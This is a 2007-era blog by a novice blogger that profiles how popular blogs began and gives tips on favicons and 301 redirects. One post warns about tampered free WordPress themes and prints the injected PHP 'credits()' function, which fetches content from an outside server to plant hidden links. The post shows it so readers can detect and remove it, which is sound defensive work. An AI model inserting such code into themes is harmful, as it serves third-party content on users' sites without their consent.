Zen Zoomie’s Place: Chronicles of a (Wannabe) Pro Blogger

You didn’t think I was done did you??

Today, we’ll look at five more highly successful blogs about blogging:

• Lorelle on Wordpress
• CopyBlogger
• Entrepreneurs-Journey
• TopRankBlog
• Blogging Pro

Lorelle.Wordpress.com

Birth Date: Aug 16, 2005 Age: 2 years
Google PageRank: 6
Technorati Rank: 434
Alexa Traffic Rank: 13,310
First Post Title: Lorelle on WordPress
First Blog Subject: Like some of the other successful blogs profiled last time,
Lorelle’s blog starts off with a well-defined purpose and sticks to it. Her first post lays it all out—this will be a blog about blogging using WordPress. The focus was narrow for the beginning, which has made it easy for her to stick to her plan over the last two years—quite successfully.
Historical Alexa Daily Reach:

CopyBlogger.com

Birth Date: Jan 9, 2006 Age: 18 months
Google PageRank: 6
Technorati Rank: 73
Alexa Traffic Rank: 7,570
First Post Title: Sold
First Blog Subject: Another good example of a blog that started out with a fairly specific purpose and stuck to it. Copyblogger, the creation of Brian Clark, started out with a first post in a well-designed series of posts that were intended to motivate a reader to want to learn more about the relationship between written salesmanship / copywriting and blogging. From there, he steps right into some great posts on the subject. All excellent reads, which probably explains why he now has 21,528 feed subscribers at the time this was written.
Historical Alexa Daily Reach:

Entrepreneurs-Journey.com

Birth Date: Nov 18, 2004 Age: 33 months
Google PageRank: 6
Technorati Rank: 2,700
Alexa Traffic Rank: 15,103
First Post Title: Welcome to the BetterEdit Blog
First Blog Subject: This blog is going to make for one sweet case study! Anyone could learn a ton by reading through all of his past posts from the beginning. Entrepreneurs-journey began as a way for Yaro Starak to profile the progress of his "real" web-based business at www.betteredit.com. Things have changed a lot over the months and years, and he’s now begun focusing on the blog itself as the centerpiece in his web-based business. The blog’s name certainly fits—it’s truly an entrepreneur’s journey! I can’t wait to dig into the details of what’s made Yaro’s blog tick—can you??

Historical Alexa Daily Reach:

TopRankBlog.com

Birth Date: Dec 28, 2003 Age: 44 months
Google PageRank: 6
Technorati Rank: 117
Alexa Traffic Rank: 13,823
First Post Title: Welcome to the TopRank Online Marketing blog!
First Blog Subject: Lee Odden started up this blog as a companion site to his main web marketing site, www.toprankresults.com. There are a lot of early posts, mostly short and referring to outside content related to his business (SEO). With all the content, it’s a mystery to me why Alexa doesn’t report any significant increase in web traffic to this site until late 2005—something worth digging into. I’m also finding it difficult to believe that a number of the very popular blogs I’ve profiled in this post and my last post have dropped off in popularity at around the same time…beginning in January 2007. Look back over the other nine Alexa traffic plots to see what I mean. Something may be amiss…
Historical Alexa Daily Reach:

BloggingPro.com

Birth Date: May 24, 2004 Age: 39 months
Google PageRank: 6
Technorati Rank: 319
Alexa Traffic Rank: 25,827
First Post Title: Welcome
First Blog Subject: BloggingPro has the dubious honor of being the last blog about blogging profiled in this initial series. The first post, like several of the others, gives a short & concise overview of the type of information you can expect to find on the site. It appears that BloggingPro has stuck to its initial vector pretty well—although generic blogging tips is a pretty big niche & allows for a lot of freedom. Check out the Alexa graph. After several months of very little gain, BlogginPro established a pretty solid level of traffic and slowly improved on it until late 2006. Once again, we have another reasonably popular blog where the daily traffic received seems to have dropped off significantly in 2007.
Historical Alexa Daily Reach:

Wrap-Up – What’s the Best Way to Start Your New Blog?

I hope you’re beginning to get the picture. There isn’t any one best way to start out your new blog, although some ways are clearly more efficient than others. A quick glance back at the Alexa daily reach of the blogs profiled here easily shows that those blogs that started out the gate with a well-defined purpose and stuck to it were able to increase their daily reach far more quickly than the blogs that struggled with their identity for a while. I imagine we’ll find, upon closer inspection, that all of the bloggers who fit into this category had significant experience in related areas before they kicked things off. The good news is, if you don’t know exactly what you want to blog about, there’s plenty of time to figure it out, and there are plenty of examples of people that have started out that way and ended up being remarkably successful. It just might take a bit longer to get there.

Next time, we’ll broaden our horizons a bit and get out of the "Blogging Blog" niche to see how some of the other types of blogs out there kicked things off.

I’m back! And as promised—here’s the anxiously awaited first post in my new series of case studies. This first post offers a glimpse into what how some of today’s top bloggers started out. This is just the tip of the iceberg, so keep checking back as we explore what makes some of the great blogs tick in excruciating detail.

Below you will find the first posts from DoshDosh.com, JohnChow.com, ShoeMoney.com, StevePavlina.Com, and CourtneyTuttle.com. For each of the Blogs I’ve profiled here, you’ll find a few key metrics to give you an idea of how popular they are today (July 30, 2007) so that you can really understand how far they’ve come from their humble beginnings.

You’ll also see that I’ve used the much-maligned Alexa traffic rank to give a quick view of how traffic for the Blog has grown over time. Although Alexa rank is far from a perfect metric, its great for our purposes here and it provides an easy way to plot a website’s traffic growth over time.

Without further delay, let’s get started!

DoshDosh.com

Birth Date: Nov 6, 2006 Age: 8 months
Google PageRank: 4
Technorati Rank: 92
Alexa Traffic Rank: 7,029

First Post Title: Mavishare – Get paid to complete offers.

First Blog Subject: DoshDosh came straight out the gate right into affiliate promotions and monetization efforts. The first post was a review and affiliate link to a company called MaviShare. No intro. No BS. No "why we’re here" or wasting time looking for their niche. Doshdosh obviously knew what their game plan was when they started out and they’ve stuck to it, adding some great content along the way to keep readers coming back for more

JohnChow.com

Birth Date: Dec 1, 2005 Age: 19 months
Google PageRank: 6
Technorati Rank: 49
Alexa Traffic Rank: 2,499

First Post Title: Welcome to the New JohnChow.com!

First Blog Subject: John Chow started his blog out with a simple welcome message. His domain, JohnChow.com, was formerly (since 2000) a hub site for all of his other sites that were part of his "Wired World of John Chow" including The Tech Zone, Savage Extreme, The Love Zone, I World of Jokes, and Tasteless Jokes. You can see what the site looked like before it became a blog here. In John’s words (grammar is original John Chow), "Now it’s call the John Chow dot Com The Miscellaneous Ramblings of a Dot Com Mogul, because that is what I am - a Dot Com Mogul - and that is what I’ll be doing – rambling." He’s rambled his way to a pretty successful Blog.

ShoeMoney.com

Birth Date: Aug 28, 2005 Age: 23 months
Google PageRank: 6
Technorati Rank: 76
Alexa Traffic Rank: 2,219

First Post Title:  So I met Paris Hilton

First Blog Subject: Wait a minute! This doesn’t look smell like a first post… And there’s a seven month gap between the first post and the next one! On further investigation, it looks like ShoeMoney is actually a reincarnation of Jeremy Shoemaker’s old blog, GoogleNinja (now occupied by his fisherman father). Of course Jeremy redirected his old website to the new one using an SEO friendly 301 redirect, keeping the search engine’s happy along the way. Unfortunately for us, it looks like he has really cleaned house and didn’t bring much of his old content with him…other than a picture he snapped with Paris Hilton on Oct 11, 2004. Was that really the only worthwhile content from his old site???

All is not lost however. What we have here is a great example of how you can take a successful online business, adjust things with a new domain name and perhaps a little rebranding, and take it on to become a highly successful blog. You’ll notice from above that ShoeMoney’s blog performance hasn’t exactly been stellar so far in 2007—and we’ll look at why in a lot more depth in a future article.

StevePavlina.com

Birth Date: Oct 1, 2004 Age: 34 months
Google PageRank: 6
Technorati Rank: 200
Alexa Traffic Rank: 5,407

First Post Title:  First Post

First Blog Subject: Steve was primed and ready to go from the start, but he didn’t quite have a feel for how fast his life was going to change. His first post is an announcement of a book he’s planning to publish called The Software Self-Publishing Guide. A few weeks later, Steve cancelled the book project (for what I think were some very good reasons). Steve’s site took a while to grow into its shoes, but that’s one of the things that makes it such a great blog. He’s one of the few "pro bloggers" profiled here that actually keeps all his old archives around in an easy to navigate format. Check it out to see for yourself how things have changed over the past three years. Like some others, Steve’s traffic has really fallen off in 2007, and I’m anxious to dig in and figure out exactly what’s going on there.

Seomoz.org

Birth Date: Oct 14, 2004 Age: 33 months
Google PageRank: 7
Technorati Rank: 47
Alexa Traffic Rank: 1,163

First Post Title:
Analyze the Google Link Command

First Blog Subject: Rand Fischkin’s first post is another example of a no-nonsense, "we know what we’re doing and we’re here to do it" launch. There’s no small-talk here. Rand jumps right in and starts generating compelling Search Engine Optimization content from the very beginning.

CourtneyTuttle.com

Birth Date: Feb 12, 2007 Age: 5 months (it’s just a baby!)
Google PageRank: 3
Technorati Rank: 2,641
Alexa Traffic Rank: 40,173

First Post Title:  Finding a Voice

First Blog Subject: Court’s first post was all about…figuring out what to blog about! (Ah hah…my first confirmation that there are in fact successful bloggers out there who started out not knowing what the heck their blog was going to be about). Actually, from the looks of things, Court probably already had quite a few of his posts written before he really got rolling with this website. He has certainly cranked out some great content in the short time he’s been blogging! Court still has a ways to go to catch up to the other bloggers profiled here, but he’s off to a heck of a start.

Summing It Up

There’s no right way or wrong way to start a successful blogging business. Some of the "great ones" jumped right in, blogging like they’d been doing it for years from their very first post. Some of them had been doing it for years on other projects before they started the successful blogs that we all know today. Others start out gradually, testing the waters before committing themselves completely. There are many paths to success, and the biggest lesson to be learned from their humble beginnings is that sites can evolve, adapt, and still achieve remarkable success.

P.S. Did you notice one high profile Bloggin Blog that’s obviously missing? Try as I might I haven’t been able to dig up the 1st post from Darren Rowse’s ProBlogger.net. If I find it, you can bet I’ll be profiling him at a later date!

Just a quick post to let you know that I won’t be able to post any new updates for the next several days.  It’s not very good timing since traffic’s really been improving here, but unavoidable.  Please check back on Monday, July 30th for the first post in my new series..How the Great Blogs Began!

Cheers,

ZZ….

I’ve often wondered how some of the top bloggers started out. How did Darren Rowse, John Chow, Rand Fishkin, and Jeremy Shoemaker cut their teeth? How about today’s rising stars: up-and-comers like Courtney Tuttle, ….

Are their current sites (the ones we know so well) their first ventures into the world of blogging? Probably not, but how they went about raising their young blog—from a newborn without a single inbound link, into a site that hundreds of thousands of people visit on a daily basis—intrigues me! And if you’re interested in building a successful blogging business, it should intrigue you to! I want to know everything about them. I want to know:

• What did their first post look like?
• Did they "wing-it" or did they have an iron-clad business plan written in stone before they dared touch the blogging keyboard for the first time?
• Did they struggle with their blog’s identity up front, or did they choose a niche’ and stick to it?
• What was their first big break?
• What kept them going past their first big break?
• Did they falter, and why?
  
• Were there spikes in their popularity? Troughs?
• What were the keys to their success in maintaining and building on a solid readership base?
• Will the up-and-comers continue their rise to the top? How? Why?

I suspect that many of them started out something like me. Struggling a bit at first to find their voice in the world. Trying to determine their Blog’s identity and to find the balance between blogging about what you love, blogging about things that other people want to read, and blogging about what makes money. But enough of what I suspect…let’s find out! The collective wisdom of the Internet is out there waiting for us to take a peek.

This is the first post in a series of case studies about what it takes to succeed in the blogging world. Stay tuned as we uncover the secrets of the worlds most successful blogs together!

Update - check out the series here:

• How the Great Blogs Began: The First Posts
• How the Great Blogs Began: The First Posts (Round 2)
• How the Great Blogs Began: The First Posts (Round 3)

Week two’s raw stats…things are looking up!

Google PageRank: N/A
(Google should be recalculating PageRank soon, so I hope that this will change during the next update!)

Alexa Traffic Rank: 557,205
(Improved from ‘No Data’ on 1 July, and 8,000,000+ on 7 July, 1,336,647 on 14 July)

Yahoo Inlinks: 808
(up from 80 two weeks ago, 271 on 14 July)

One Week Incoming Traffic from Search Engine Queries: 20
(up from 0 two weeks ago, 5 on 14 July)

Technorati Rank: 465,071
(up from 1,352,025 on 14 July)

Not bad. I really concentrated on two things during the last week. #1 was generating some good solid content for the Blog and brainstorming future blogging topics. I have quite a few ideas that I haven’t seen covered anywhere else, and I can’t wait to get to work on them. #2 was getting out on some of my favorite blogs and actively participating in the discussions. I chose a mix of "Do Follow" and "No Follow" blogs to make sure I’m getting a few links built in the process. If there’s only one thing you can do to ‘market’ our blog in the early days, this is a great bang for the buck. If you contribute thoughtful or insightful comments, you will get visitors that follow your link back to your site. If you have good content before spinning up your marketing efforts, people will continue coming back to see what you’ve added or improved.

Unfortunately I’m going to have to take a quick one week break right as things are getting moving, but we’ll be back in the full swing of things on 30 July. I expect some of the stats will take a hit during that time, but it will actually be an interesting experiment in how a ‘pause’ effects site traffic growth in the early stages.

On Wednesday, I talked about a sneaky trick that some black hat search engine marketers are resorting to. If you didn’t read that article, you should. But in the meantime, I’ll catch you up. The bottom line is, if you downloaded a free WordPress theme, there’s a chance you’re providing free advertising for a web marketer without your knowledge or permission. (Thanks to Robert Kingston at Bracing Your Brand for breaking this story!)

WTF?

The scoop: Some individuals are modifying free WordPress themes to insert invisible links to websites that they are marketing. The links can be to all sorts of sites including casinos, hotels, or who knows… The point is–they’re creating links to those sites from your blog without your permission or knowledge. And they’re hiding the links–against the Google Webmaster Guidelines–which means your blog’s Google rankings may be punished for something you had no knowledge of.

The Main Culprit - Templatesbrowser.com

To cut straight to the chase, if you downloaded a free WordPress theme from the "www.templatesbrowser.com/wordpress-themes" website, you’ve joined their advertising team whether you wanted to or not. They have a pretty neat setup–you can preview any of the 100+ WordPress themes to see what it looks like. They provide a nice interface and a convenient service. But there’s a catch!

The theme files that they have available for download aren’t the original theme files. Templatesbrowser has modified each of the ‘free’ WordPress themes on their website to automatically insert those sneaky hidden links. They do it by calling a function called credits–normally from the footer.php file. Here’s the code they’re using:

<?php

function credits()
{
$url = "http://1.templatesbrowser.com/wp.php?" .
"url=" . urlencode($_SERVER[’REQUEST_URI’]) . "&" . "host=" . urlencode($_SERVER[’HTTP_HOST’]);
$check = @fsockopen("1.templatesbrowser.com", 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

?>

How do You Know if You Have a Modified WordPress Theme?

There are a few different ways to check. The easiest way to know for sure is:

1. Go to your WordPress Control Panel
2. Click on the Presentation Tab
3. Click on the Theme Editor Sub-tab
4. Check to see if you have a file called functions.php. If you do, click on it.
5. Check to see if it has the code above that references templatesbrowser.com.
   

You may also want to check your footer.php file to see if there’s a call to credits. Or as a third option, try using the free FireFox developer’s add-on that Robert suggested. The above steps will only catch templatesbrowser.com modified themes. Robert’s technique will help you find a much wider variety of mischief. If you find the above code in your theme files, congratulations. You’ve joined the templatesbrowser.com advertising team!

What do You Do If You’re "Infected"?

If you have a templatesbrowser.com modified theme, and you’re not keen on being on their advertising team without being paid, the best thing to do is find a trusted source to download the original theme files from (the author, or Wordpress.org’s theme directory are probably good bets). Just delete the corrupted theme from your WordPress installation, upload the clean files, and you’re back in business minus the pro bono advertisements.

I love the FireFox browser, and I use it almost exclusively. But I had a problem. The Firefox bookmark toolbar just didn’t have enough space to hold all of the sites I wanted to have quick access to. So I recently started using a Firefox add-on called Smart Bookmarks Bar v1.2 that lets me cram all 31 of the Blogs and other reference sites that I frequently access into a single toolbar.

It accomplishes this feat by only displaying a small icon for each of your favorite webpages. That small icon is something that’s known as a favorites icon or favicon. It’s the same graphic that shows up on the address bar of your web browser right next to the URL. Favicons have the benefit of providing a quick, memorable visual cue that a website’s visitors will associate with the site when navigating the web.

Smart Bookmarks currently looks like this on my browser:

The Smart Bookmarks Bar has clearly solved the real estate shortage, but there’s still one other problem. If the Blog author or WebMaster for the site hasn’t added a unique favicon for their webpage, it just shows up as the default blank page icon–which makes them all look alike! That’s what all the plain white pages are across the toolbar. You have to actually hover your mouse over each icon to figure out what it really is. Not optimal.

You can’t do much about the webpages you don’t own, but you can certainly correct this problem for your own website. And it turns out that it’s actually a very simple process.

Step-by-step process to add a FavIcon to your website:

1. Create a logo graphic in your graphics software of choice. I like working in PowerPoint or OpenOffice to create simple logos because of the large selection of fonts and effects you can use to manipulate text. Your image needs to be approximately square (i.e. 100×100 pixels). Don’t spend to much time on detailing your log for this purpose since it’s going to get squished down into a little tiny box when you turn it into an icon.
2. Save the image as a .jpg file.
3. Adjust the dimensions of your file or do some minor cropping as necessary using Microsoft Paint or other image editing package.
4. Confirm that your image has equal horizontal and vertical dimensions.
5. Use a free online favicon generator to convert your .jpg to a .ico file (the format your logo needs to be in to be recognized by the address bar and favorites toolbars). I used the favicon generator at http://favicongenerator.com.
6. Save the resulting favicon.ico to your computer.
7. Upload the favicon.ico file to your website using FTP or the tools provided by your web hosting provider.
8. If you’re using WordPress for your blog, insert the following code into your header.php file between <head…> and </head>. (Be sure to replace the text in red with the correct path for where you ftp’ed the file).
   

   <link rel="shortcut icon" href="<?php echo get_settings(’siteurl’); ?>/images/favicon.ico" type="image/x-icon" />

That’s all there is to it! Now when you go back to your homepage your new favicon should appear in the address bar like so:

And the Smart Bookmarks toolbar now looks like this:

Total Time Invested…less than 30 minutes. Future website visitors now have a memorable, easy visual cue that tells them they’re at Zen Zoomie’s Place: Chronicles of a (Wannabe) Blogger at a glance. And anyone that adds this website to their Smart Bookmark toolbar can now pick it out of a lineup with minimal trouble!

Yet more evidence that the business of blogging is nothing less than war, and you need to be prepared to defend yourself.

I just ran across a scary post at www.bracingyourbrand.com that took me back a couple of steps. Robert Kingston, the author of that site, had recently started using a new WordPress theme.

The problem is, he discovered that the theme had placed hidden links to sites he’d rather not have his blog associated with throughout his site. The theme used style="display: none;" attributes to hide links to all sorts of unsavory sites. This attribute keeps the links from showing up visually, but they are still picked up by the search engines. It turns out that the code to place those links in the footer of the theme was probably inserted by some third party along the line (it isn’t in the original code of the theme), not the original authors.

The reason this is a problem is that it violates the Google Webmaster Guidelines we discussed in an earlier post, which could end up resulting in him being penalized in the indexing process (not to mention the association with the questionable sites!).

In his post, Robert mentions a Firefox plugin that you can use to check your site for these types off issues. And I’m on the lookout for a WordPress plugin or other tool that can check your site for this type of trickery automatically. If you’re using a free theme or plugins from sources that you’re not certain of, I’d recommend you check out Roberts post and use the plugin he recommends to check over your site.

And as with all shareware or open source software–you should always attempt to download the theme from the original source if possible to minimize the chances that it’s been modified by someone else.

Unfortunately, "You Get What You Pay For" turns out to be true more often than not…

Update:  Read Beware the Free WordPress Theme Revisited to see what was really going on here.

Update 2:  As of Aug 6, 2007, it looks like templatesbrowser.com has at least temporarily ceased operations, or moved on to easier hunting. 

I just ran across this must-see article on Business Week online where they give a run-down on 13 of the Internet’s top Bloggers. Here’s a teaser of the Bloggers they profiled…check out the article for all the juicy details!

1. BoingBoing.net
   Revenue: > $1 million a year
   
2. ICanHazCheezBurger.com
   Revenue: $5,600 / month
   
3. ShoeMoney.com
   Revenue: $12,000 / month
   
4. OverHeardInNewYork.com
   Revenue: $8,100 / month
   
5. Kottke.com
   Revenue: $5,300 / month
   
6. TalkingPointsMemo.com
   Revenue: $45,000 / month
   
7. PerezHilton.com
   Revenue: $111,000 / month
   
8. Gothamist.com
   Revenue: $250,000 / month
   
9. TechCrunch.com
   Revenue: $200,000 / month
   
10. GoFugYourself.Typepad.Com
    Revenue: $6,240 / month
    
11. Mashable.com
    Revenue: $166,000 / month
    
12. ProBlogger.net
    Revenue: "Over $100,000 a year"
    
13. Michellemalkin.com and HotAir.com
    Revenue: N/A

It’s tough to miss the fact that all the really big money earners are blogging about popular topics that have a huge potential audience, and they’re making a killing doing it. Problogger.net and ShoeMoney.com are the only two Blogs about Blogging that were profiled, and both of those sites are obviously doing quite well–as are several other well-known Blogging Blogs that weren’t profiled. But the nature of their niche means that there’s probably a much lower "top" to the maximum revenue they can achieve than there is with other topics.

I’ve read a lost of posts lately that talk about choosing your niche, and understanding what the top of your achievable traffic and revenue are likely to be based on what you choose to blog about. One of the best is a recent post at North x East called "Pick a Niche, Any Niche". Read and heed if you’re still thinking about what you want your blog to be about…

In my last post about Protecting Your Domain Name, we looked at ways that you can protect the long-term success of your website from those who may not have your best interests at heart. Assuming that you’ve taken that advice, and setup some new domain aliases to maximize traffic and protect your domain name from the evil cybersquatters and typosquatters, what’s the next step?

There’s a right way and a wrong way to configure domain aliases. If you do it wrong, you will suffer the wrath of the GoogleBot. But if you do it right..the GoogleBot will happily continue indexing your site day in and day out. Obviously, it’s in your best interest to setup your domain aliases the right way from the start–there are enough bad guys to worry about without having to fight to get the search engines to properly index your site as well.

The Gospel of Redirects According to Google

The whole idea of implementing domain aliases is that when a user types in any of the aliases you’ve registered, they should be instantly redirected to your primary domain. Again, there is a right way and a wrong way to do this. Here are Google’s overall quality guidelines for webmasters (aka Google’s Eight Commandments):

The reason there is a wrong way to implement alias domain names is that search engines are unforgiving (especially Google) if you do things that look like you’re trying to trick them. For our alias domains, the guideline we need to be concerned about is #5: "Don’t create multiple pages, subdomains, or domains with substantially duplicate content." If you create aliases for your domain (say zenzumi.com for zenzoomie.com) and set them up incorrectly, it will look to Google like you have duplicate content across multiple domains–not a good thing in the eyes of the GoogleBot!

How to Keep the Spiders From Thinking You Have Duplicate Content

This is where the discussion gets a little technical, but bear with me and I’ll try to keep it as simple as possible. There are several ways that you could automatically "redirect" a user from one domain or URL to another. A common way that seems easy enough is to simply "park" your new alias domain names at your primary URL. When you park one domain at another, users visiting the parked domain are served the same content that they would have seen if they had visited the primary domain. But depending on how your hosting provider implements this, your viewers aren’t actually redirected to the primary domain.

For example, if zenzumi.com is parked at www.zenzoomie.com, the visitor would see all of the content I host at www.zenzoomie.com but the URL displayed at the top of their screen would still say zenzumi.com. See how this could be confusing to a poor search engine spider?? 

To keep the search engines from being confused, and to prevent them from punishing you for their confusion, you want to implement your redirects in a very specific way.  Luckily, Google doesn’t leave us guessing about how to do this correctly. If you click on the duplicate content link in the Google Webmaster Guidelines, you’ll find that Google says the correct way to redirect users from an alias domain is through the use of something called a "301 redirect".

What are 301 Redirects?

Implementing Correct 301 Redirects

So how do you correctly implement Google’s recommended 301 Redirects? If you’re using a Bluehost hosted server, you can follow along with my step-by-step 301 Redirect Example that I’ll be publishing in the next few days. If you’re using another hosting provider, check here for basic instructions on implementing 301 redirects or contact your hosting provider directly and request assistance in setting up your redirects.

The top-level steps for setting up 301 Redirects on a Bluehost hosted server are:

1. Register your new domain aliases through Bluehost or another domain registration service.
2. If you use an alternate domain registration service, transfer the new domain names (free with Bluehost) to your Bluehost account.
3. Make your new aliases "add-on" domains under the primary hosting account.
4. Setup each of your add-on domains to redirect the domain to your primary URL.
5. Modify the root .htaccess to redirect all users to either yourdomain.com or www.yourdomain.com (be consistent!)
   

That’s it! Once you’re done implementing, you should check your redirects to make sure they are configured properly using a tool such as

http://www.webconfs.com/redirect-check.php

If you’re using Bluehost as your hosting solution, keep a look out for my step-by-step example of how to do this in the next few days.

Until next time,